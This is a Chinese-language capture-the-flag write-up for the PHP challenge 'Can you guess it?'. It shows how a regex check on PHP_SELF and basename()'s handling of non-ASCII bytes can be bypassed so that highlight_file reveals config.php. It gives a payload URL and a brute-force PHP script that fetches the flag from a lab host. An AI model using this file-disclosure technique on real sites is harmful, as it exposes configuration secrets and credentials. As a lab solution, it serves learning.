源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

知识点

$_SERVER['PHP_SELF']` 表示当前 php 文件相对于网站[根目录]的位置地址,与 document root 相关
下面是本地测试截图,也就是`http://.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']
即在url输入/index.php/config.php 会触发第一个if语句

basename() 函数会返回路径中的文件名部分
假如路径是/index.php/config.php
浏览器的解析结果都是index.php
而basename会返回config.php
就算后面跟上多余的字符也会返回文件名部分
如/index.php/config.php/?source返回config.php
basename()会去掉文件名开头的非ASCII值。

random_bytes(num)生成num个随机的字符,bin2hex(str)将字符转化为十六进制数方便我们观察,这里我就想到会不会是之前做过的一个题目,只要种子一样,随机数其实是定下来的,也就是所谓的伪随机数,这里还有一个比较函数hash_squals,比较两个字符串是否一样
查完发现从这里突破的可能性较小

解题

漏洞点:hightlight_file,使路径名解析完是config.php,且绕过第一个if

绕过第一个if:只要不让解析完config.php是结尾就行,后面加上不可见字符或者其他汉字,中文字符都行——>config.php/%ff

第二个if只需要加上?source就行了

payload:index.php/config.php/文?source

PHP脚本:

function check($str)
{
return preg_match("/config\.php\/*$/i", $str);
}

for ($i = 0; $i < 255; $i++) {
$url = "/index.php/config.php/" . chr($i);
if (!check($url)) {
// echo "\n";
// echo $i."---".chr($i)."---".basename($url);
if (basename($url) == "config.php") {
$furl = "http://756d1e03-c817-450b-af4a-23928b5cbb3c.node4.buuoj.cn:81/index.php/config.php/" . chr($i) . "?source";
// echo $furl;
$html = file_get_contents("http://756d1e03-c817-450b-af4a-23928b5cbb3c.node4.buuoj.cn:81/index.php/config.php/" . chr($i) . "?source");
if (preg_match("/flag\{.*?\}/", $html, $flag))
{
echo $i."\n";
// echo $html;
// print_r($flag);
echo $flag[0];
break;
}
}
}
}

参考:

https://blog.csdn.net/solitudi/article/details/108912334

https://www.cnblogs.com/yesec/p/15429527.html

https://blog.csdn.net/qq_54929891/article/details/123662382